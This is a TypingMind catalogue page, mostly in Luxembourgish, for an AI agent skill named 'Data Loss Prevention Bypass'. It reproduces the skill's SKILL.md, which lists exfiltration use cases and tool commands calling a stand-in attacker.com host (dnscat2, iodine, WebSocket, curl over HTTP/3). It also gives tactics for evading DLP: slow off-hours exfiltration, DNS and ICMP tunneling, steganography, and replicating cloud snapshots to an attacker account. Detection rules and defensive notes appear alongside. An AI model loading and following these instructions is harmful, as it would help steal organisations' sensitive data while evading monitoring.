Logo: Data Loss Prevention Bypass

Data Loss Prevention Bypass

Communautéit
brucesongs
data-loss-prevention-bypass

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

Iwwersiicht

Editeurbrucesongs
Repositorykali-claw
Skill-Nummdata-loss-prevention-bypass
Stären
70
Forks
18
Matgeliwwert Dateien
9
LizenzMIT
Linken
  • Instruktiounen am Markdown-Format

    Eng SKILL.md-Datei, déi de Modell bei Bedarf luet, soudatt nëmmen Token ufalen, wann eng Ufro tatsächlech dozou passt.

  • Funktionéiert mat all LLM

    KI-Skills si reng Markdown, keen ubidderspezifesche Code. Dofir funktionéiert dëse Skill mat GPT, Claude, Gemini, Grok oder engem lokale Modell.

  • 9 matgeliwwert Dateien

    Skripten, Virlagen a Referenzen, déi de Modell beim Schaffe liese kann. D'Dateie kënnen nëmme gelies ginn a ginn ni ausgeféiert.

  • Open Source

    brucesongs huet de Skill op GitHub verëffentlecht. Liest de Quelltext, ier Dir de Skill installéiert.

Installatioun

Installéiert de KI-Skill Data Loss Prevention Bypass an TypingMind, fir e mat all LLM ze benotzen, oder setzt en an en anere KI-Agent an, deen SKILL.md liest.

1

An TypingMind installéieren

TypingMind installéiert e Skill direkt aus sengem GitHub-Dossier — dobäi gëtt SKILL.md gelies, d'Ressourcedateie gi gebëndelt an d'Resultat gëtt lokal gespäichert.

  1. Maacht d'App op a gitt op Plugins → Skills.
  2. Wielt „Vu GitHub installéieren“.
  3. Pecht d'URL vum Skill-Dossier, déi hei drënner steet, an a bestätegt d'Installatioun.
    https://github.com/brucesongs/kali-claw/tree/main/skills/data-loss-prevention-bypass
  4. Aktivéiert de Skill an all Chat, an deem Dir e benotze wëllt.
Plugins → Skills → Skill derbäisetzen → Iwwer eng GitHub-URL. Pecht dann d'URL vum Dossier an a klickt op Weider.
2

An engem anere KI-Agent installéieren

All KI-Agent, deen d'Format Agent Skills liest, kann dëse Skill benotzen — kopéiert den Dossier an d'Skill-Verzeechnes vun deem KI-Agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/data-loss-prevention-bypass .claude/skills/data-loss-prevention-bypass
Start Claude Code nom Kopéieren nei, fir datt den neie Skill erkannt gëtt.

An TypingMind benotzen

Aktivéiert Data Loss Prevention Bypass an engem Chat vun TypingMind, an de Modell iwwerhëlt de Rescht. Den Numm an d'Beschreiwung stinn am System-Prompt. Soubal eng Ufro dozou passt, luet de Modell déi komplett Instruktioune selwer — Dir musst de Skill ni manuell opruffen, an et fale keng Token un, bis en tatsächlech benotzt gëtt.

De Modell luet Data Loss Prevention Bypass automatesch, soubal eng Ufro dozou passt.

Funktionéiert mat all KI-Modell

KI-Skills si reng Markdown-Instruktiounen amplaz vun ubidderspezifeschem Code. Dofir ass Data Loss Prevention Bypass net un de Modell gebonnen, fir deen de Skill geschriwwe gouf. Installéiert en eemol an TypingMind a benotzt e mat GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama oder engem lokale Modell, deen Dir selwer bedreift — alles mat Ären eegenen API-Schlësselen.

  • Gëtt nëmme gelueden, wann et néideg ass

    De System-Prompt enthält nëmmen den Numm an d'Beschreiwung. D'Instruktioune gi bei der éischter passender Ufro gelueden, soudatt en onbenotzte Skill näischt kascht.

  • De Modell am lafende Chat wiesselen

    Well de Skill aus Instruktiounen amplaz vu Code besteet, funktionéiert en och no engem Modellwiessel — den nächste Modell liest déi selwecht SKILL.md-Datei.

Skill-Instruktiounen

Dëst ass den Inhalt vu SKILL.md, deen de Modell luet. Liest e virun der Installatioun — e Skill besteet aus Instruktiounen, déi Äre Modell befollegt.

Skill: data-loss-prevention-bypass

Summary

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

Tools: garak, PyRIT, promptfoo, custom harnesses

Domain: data-protection

MITRE: TA0010-Exfiltration, T1048-Exfiltration Over Alternative Protocol

Description

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

This skill covers the offensive side of dlp-evasion security, including reconnaissance, vulnerability discovery, exploitation, persistence, and reporting. Aligned with OWASP Top 10, MITRE ATT&CK, and industry-specific compliance frameworks.


Use Cases

  1. DLP bypass: Bypass corporate DLP to exfiltrate sensitive data.
  2. Covert channel: Maintain stealthy C2 channel via DNS/ICMP.
  3. Steganographic exfil: Hide data in images/audio to evade DLP scanning.
  4. Cloud sync abuse: Use sanctioned cloud apps for exfil (OneDrive, Dropbox).
  5. AI-augmented exfil: Use LLM to semantically chunk sensitive data; evades pattern-based DLP.

Core Tools

| dnscat2 | DNS tunneling | dnscat2 --dns domain=attacker.com | | iodine | DNS tunneling (TUN) | iodine -f attacker.com | | steghide | LSB image steganography | steghide embed -cf image.jpg -ef secret.txt | | Coagula | Audio steganography | Generate audio from image | | exiftool | Metadata embedding | exiftool -Comment="secret" image.jpg | | pngcheck | PNG analysis | pngcheck -v image.png | | StegExpose | LSB detection | java StegExpose image.png | | Cloud sync | OneDrive/Dropbox exfil | Native client apps | | WebSocket | Persistent C2 | wss://attacker.com/ws | | HTTP3 / QUIC | Newer protocol exfil | curl --http3 https://attacker.com |


Methodology

Attack Chain

[1] Reconnaissance         [2] Channel Selection     [3] Encoding
  - DLP product identify     - DNS (port 53)            - LSB steganography
  - Whitelist apps           - HTTPS (port 443)         - Base64 + AES
  - Egress monitoring          |                        - Semantic chunking
        |                       v                          |
        v             [3.5] Bandwidth-aware    [4] Exfiltration
[2.5] Side channel   - Off-hours timing         - Slow & distributed
  - Time-of-day        - Slow rate                  - Mix with legit
  - Process patterns     |                            |
                          v                            v
                        [5] Persistence   [6] Reporting
                        - Multi-channel   - DLP bypass PoC
                        - Steganography   - Business impact

Phase Details:

  1. Reconnaissance: Identify DLP product (Symantec, Forcepoint, Microsoft Purview). Whitelist of approved cloud apps. Egress monitoring coverage.
  2. Channel Selection: DNS (often less monitored), HTTPS (most common), ICMP (often unfiltered), cloud sync (sanctioned apps).
  3. Encoding: LSB steganography for images/audio. Base64 + AES for text. Semantic chunking for AI-augmented exfil.
  4. Exfiltration: Slow & distributed to avoid rate-based detection. Mix with legitimate traffic patterns.
  5. Persistence: Multi-channel (DNS + HTTPS + cloud). Steganography for long-term undetected exfil.
  6. Reporting: Document DLP bypass; quantify business impact (regulatory, financial).

Defense Perspective

Defense LayerMeasuresKey Points
Network DLPSSL/TLS inspection at egress; DNS filtering; ICMP inspectionSSL inspection requires CA cert deployment; many orgs skip
Endpoint DLPContent-based monitoring on file read/copy/upload; USB controlEndpoint agent sees data before encryption; critical layer
Cloud DLPCASB (Netskope, Zscaler ZIA); sanctioned vs unsanctioned cloud appsCloud app allowlist; CASB scans content before upload
Steganography DetectionStatistical analysis on images (StegExpose); entropy scanningMost DLP doesn't scan for steganography; gap to close
DNS SecurityDNSSEC; response rate limiting; passiveDNS monitoring for tunnelingDNS tunneling is common exfil; dedicated monitoring needed
Behavioral AnalyticsUEBA on user behavior; alert on anomalous egress patternsPattern-based DLP misses novel attacks; behavioral fills gap

Practical Steps

See payloads.md for detailed payloads and test-cases.md for the complete test checklist.

1. Reconnaissance

Identify target infrastructure; fingerprint products; enumerate attack surface.

2. Vulnerability Discovery

Run automated scanners (garak, PyRIT); manual testing per OWASP Top 10.

3. Exploitation

Chain vulnerabilities for maximum impact; document PoC.

4. Persistence

Establish persistence via configuration changes, scheduled tasks, or backdoors.

5. Reporting

Map findings to MITRE ATT&CK, OWASP, regulatory frameworks; include concrete remediation.


Detection Methods

Network-Layer Indicators

  • DNS tunneling signatures: Long DNS queries (>50 chars), high-entropy subdomains, TXT/A record bursts.
  • DNS beaconing: Periodic DNS queries to attacker-controlled domain.
  • HTTPS to unfamiliar domains: Large uploads to unknown cloud storage / file sharing.
  • Protocol anomalies: SSH over 443, HTTP tunneling, ICMP tunneling (large ping payloads).

SIEM Detection Rules

  • Splunk SPL: index=dns | where len(query) > 50 | stats count by src_ip | where count > 100
  • RITA: Statistical beacon detection.
  • DLP systems: Forcepoint, Symantec DLP for content-based detection.

Endpoint Indicators

  • Mass file read events: Process reading many files in short window.
  • Compress-then-upload: tar/zip followed by curl/scp within 60 seconds.
  • Encrypted archive creation: New .zip/.7z with password (evasion signature).

Defense Evasion Techniques

Bandwidth-Aware Exfiltration

  • Low & slow: Pace exfil below network baseline (e.g., 100 KB/hr).
  • Distribute across protocols: Mix DNS, HTTPS, ICMP.
  • Time-windowed: Use off-hours (1-5 AM local).
  • Trickle over weeks: Spread exfil over long period.

Covert Channels

  • DNS tunneling: dnscat2, iodine.
  • ICMP tunneling: Data in ICMP echo payload.
  • HTTP/3 (QUIC): Many monitoring tools don't decode yet.
  • WebSocket: Persistent connection; bypasses connection-counting.
  • Cloud CDN abuse: Use legitimate CDN to mask destination.

Steganography

  • Image LSB: Encode data in least-significant bits of PNG/BMP.
  • Audio steganography: Encode in WAV/MP3 spectrogram.
  • Video steganography: Frame-by-frame LSB.
  • PDF object abuse: Hide data in PDF object streams.
  • Network packet timing: Covert timing channel.

Cloud Exfiltration Stealth

  • Use sanctioned apps: Upload to corporate OneDrive; below suspicion.
  • OAuth consent abuse: Use legitimate OAuth flow.
  • Snapshot sharing: Share EBS/snapshot to attacker AWS account.
  • Cross-region replication: S3 replication to attacker bucket.

Common Pitfalls

  • Testing in unauthorized environments
  • Ignoring rate limiting (will get blocked)
  • Single-shot testing (real attacks are sustained)
  • Neglecting supply chain
  • Forgetting monitoring/alerting

Reporting and Documentation

Reports should include CVSS scores, MITRE ATT&CK mapping, concrete PoC, business impact, and specific remediation.

Legal and Ethical Considerations

Ensure proper authorization before testing. Document scope in engagement letter. Some attack techniques may violate local laws (e.g., radio transmission without license).

Hacker Laws

LawApplication
Trust but VerifyVerify all outputs; verify all sources
First PrinciplesUnderstand underlying protocols before attacking
Defense in DepthMultiple layers required for robust defense
Assume BreachDesign assuming attacker already inside
Minimize Attack SurfaceReduce unnecessary features/exposure

Learning Resources

Skill supplementary files: payloads.md, test-cases.md

External Resources:

Matgeliwwert Dateien

De Modell liest dës Dateie bei Bedarf, wärend de Skill gelueden ass. Si ginn als liesbar Dateie bereetgestallt a ginn ni ausgeféiert.

Heefeg gestallte Froen

Wat mécht de KI-Skill Data Loss Prevention Bypass?

DLP bypass techniques covering steganography (LSB, audio, video), DNS tunneling, ICMP tunneling, cloud sync abuse (Dropbox, OneDrive), WebSocket/HTTP3 exfil, AI-augmented exfil (semantic chunking), and modern DLP evasion patterns.

Firwat Data Loss Prevention Bypass op TypingMind benotzen?

Well Dir en eemol installéiert a mat all Modell benotze kënnt. Data Loss Prevention Bypass besteet aus einfachem Markdown amplaz vun ubidderspezifeschem Code. Dee selwechte Skill funktionéiert also mat GPT-5, Claude, Gemini, Grok oder engem lokale Modell – an Dir kënnt de Modell matzen am Chat wiesselen, ouni datt de Skill ophält ze funktionéieren. TypingMind benotzt Är eegen API-Schlësselen, sou datt Dir d'Ubidder direkt bezuelt, amplaz en Abonnement pro Benotzerplaz ze bezuelen. Är Skills a Chats bleiwen an Ärem eegene Späicher.

Wéi installéieren ech Data Loss Prevention Bypass an TypingMind?

Maacht an TypingMind Plugins → Skills → Vu GitHub installéieren op a setzt https://github.com/brucesongs/kali-claw/tree/main/skills/data-loss-prevention-bypass an. TypingMind liest d'Datei SKILL.md, bëndelt déi zougehéiereg Dateien an installéiert dat Ganzt als Skill, deen Dir pro Chat aktivéiere kënnt.

Wéi eng KI-Modeller kënnen Data Loss Prevention Bypass benotzen?

All Modell, deen Dir an TypingMind verbënnt. KI-Skills sinn einfach Markdown-Instruktiounen an net ubidderspezifesche Code. Dofir kënne GPT, Claude, Gemini, Grok a lokal Modeller dëse Skill lueden, wann eng Ufro dozou passt.

Wéi vill KI-Modeller kann ech mat Data Loss Prevention Bypass benotzen?

Esou vill wéi Dir wëllt. Soulaang e Modell Skills ënnerstëtzt, kënnt Dir Data Loss Prevention Bypass domat benotzen – zum Beispill mat GPT, Claude, Gemini, Grok, DeepSeek, Mistral oder Llama – alles op TypingMind mat Ären eegenen API-Schlësselen.

Ass de KI-Skill Data Loss Prevention Bypass gratis?

Jo. brucesongs huet de Skill ënner der Lizenz MIT op GitHub publizéiert. Dir bezuelt nëmmen Ären eegene KI-Ubidder fir d'Token, déi Dir benotzt.

Wat si KI-Skills?

E KI-Skill ass e weiderverwendbare Pak vun Instruktiounen, deen engem KI-Modell bäibréngt, wéi en eng bestëmmt Aufgab erfëllt. E follegt dem oppenen Agent Skills-Format: eng Datei SKILL.md mat engem Numm an enger Beschreiwung, plus all Scripten, Virlagen oder Referenzdateien, déi de Modell eventuell brauch. De Modell liest d'Instruktiounen eréischt, wann Är Ufro zum Skill passt. En installéierte Skill kascht also näischt, bis e benotzt gëtt.

Wéi ënnerscheede sech KI-Skills vu Plugins oder MCP-Serveren?

E Plugin oder MCP-Server gëtt engem Modell nei Tools, déi en opruffe kann – Code, deen iergendwou leeft an e Resultat zeréckgëtt. E KI-Skill gëtt dem Modell dogéint Wëssen an eng Virgoensweis: wéi en eng Aufgab ugeet, wéi eng Schrëtt e maache soll a wéi eng gutt Ausgab ausgesäit. Skills bestinn aus einfachem Markdown, brauche kee Server, keen API-Schlëssel a kee Lafzäitëmfeld a funktionéiere mat all Modell.

Alleguer weisen

Elo Ären eegene KI-Aarbechtsberäich ariichten

Abonnéiert Iech op eisen Newsletter, fir iwwer nei Funktiounen an zukünfteg Gewënnspiller informéiert ze ginn 👇